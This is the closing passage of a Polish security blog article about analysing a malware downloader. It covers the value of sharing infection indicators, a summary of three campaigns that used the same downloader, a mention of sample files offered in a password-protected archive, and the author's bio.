  1. Więcej wskaźników infekcji w tym samym czasie. Przestępcy ewoluują, zmieniają wskaźniki infekcji, szczególnie te najniżej położone w piramidzie bólu. Dzięki większej liczbie analityków możemy wzbogacać naszą wiedzę, dowiedzieć się czy tylko Polska jest atakowana. Możemy też zobaczyć inne ciekawe aspekty np. czy niechciane oprogramowanie na komputerach z Windowsem w rosyjskiej wersji językowej się nie uruchomi.
  2. Dzięki wzbogacaniu oraz obserwowaniu niechcianego oprogramowania w czasie można poznać aktorów stojących za kampaniami niechcianej korespondencji.

Oczywiście wymiana powyższa to decyzja, która również powinna być podejmowana dzięki analizie ryzyka w ofensywnych zespołach bezpieczeństwa. Natomiast nie zmienia to faktu, że powyższa platforma może być również skutecznie uruchomiona w obrębie organizacji na potrzeby tylko i wyłącznie własnego zespołu analitycznego.

Podsumowanie

Mam nadzieję, że przybliżyłem Czytelnikowi cały proces analizy jednego z komponentów niechcianego oprogramowania. Wskazałem jakie decyzje musi podjąć dział bezpieczeństwa i gdzie robi się analizę ryzyka dla tego typu zagrożeń. Automatyczne narzędzia takie jak sandboksy są tak dobre jak analityk, który ich używa. Narzędzia automatyczne często dają najniższe wskaźniki infekcji z piramidy bólu, natomiast dają je relatywnie szybko. W zasobach do artykułu znajdziecie analizę z trzech kampanii z ostatniego czasu, które jak się okazuje stosują ten sam downloader, natomiast zaciemnienie kodu jest różne. W przeciągu roku ten komponent złośliwy odwiedzał naszą organizację ponad 10 razy. Powstrzymanie go na innym poziomie niż IP jest więc dobrym pomysłem, ale również wyzwaniem dla zespołu bezpieczeństwa.

Pliki omawiane w analizie (hasło: infected).

Dodatkowe materiały:

Robert Tomaszewski
Bezpiecznik “Defender” prywatnie i zawodowo od ponad 20 lat. Związany z sektorem finansowym, był administratorem, wdrożeniowcem. Prelegent na spotkaniach OWASP Polska Warszawa. Posiada certyfikat NGCERET-2006-25823, były członek ISSA (3139401). Obecnie zajmuje się analizą niechcianego oprogramowania w zespole obrony w jego pierwszej fazie. Kontakt: bolo2006@gmail.com